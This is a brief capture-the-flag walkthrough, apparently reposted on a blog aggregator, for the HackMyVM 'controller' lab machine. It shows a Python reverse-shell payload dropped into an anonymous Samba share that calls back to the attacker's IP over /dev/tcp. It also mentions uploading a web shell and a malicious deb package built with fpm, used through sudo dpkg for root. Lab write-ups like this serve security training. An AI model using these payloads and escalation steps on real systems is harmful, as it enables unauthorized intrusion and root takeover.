当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell

visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.

use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php.

because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
check the file which own to user webservices.
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- 数组的高级操作
- Baidu positioning js API
- SQL:DDL、DML、DQL、DCL相应介绍以及演示
- Turn trendsoft/capital amount of Chinese capital library
- ---static page---
- Xiaoyao multi-open emulator ADB driver connection
- 4.表单与输入
- Batch replace file fonts, Simplified -> Traditional
- [phpunit/php-timer] A timer for code execution time
- Several interesting ways to open PHP: from basic to perverted
猜你喜欢
![[league/climate] A robust command-line function manipulation library](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate] A robust command-line function manipulation library

Small program van-cell line wrapping can be left-aligned

IP门禁:手把手教你用PHP实现一个IP防火墙

MySql Advanced -- Constraints

TCP通信程序

(5) 模块与包、编码格式、文件操作、目录操作

攻防世界—MISC 新手区1-12

SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值

如何根据地图上的两个坐标点来确定方向
随机推荐
3.PHP数据类型、常量、字符串和运算符
阿里云服务器如何使用admin账户登录
MySql Advanced -- Constraints
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
13. JS output content and syntax
js预编译 GO 和AO
Solve the problem of uni - app packaged H5 website to download image
三元判断再三元判断
js scope and closure
DVWA drone installation tutorial
PHP8.2将会有哪些新东西?
17. JS conditional statements and loops, and data type conversion
面试总结 22/7/22 面试中的重点
PHP有哪些框架?
--fs module--
IO流、 编码表、 字符流、 字符缓冲流
What are the PHP framework?
IP access control: teach you how to implement an IP firewall with PHP
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
数组的高级操作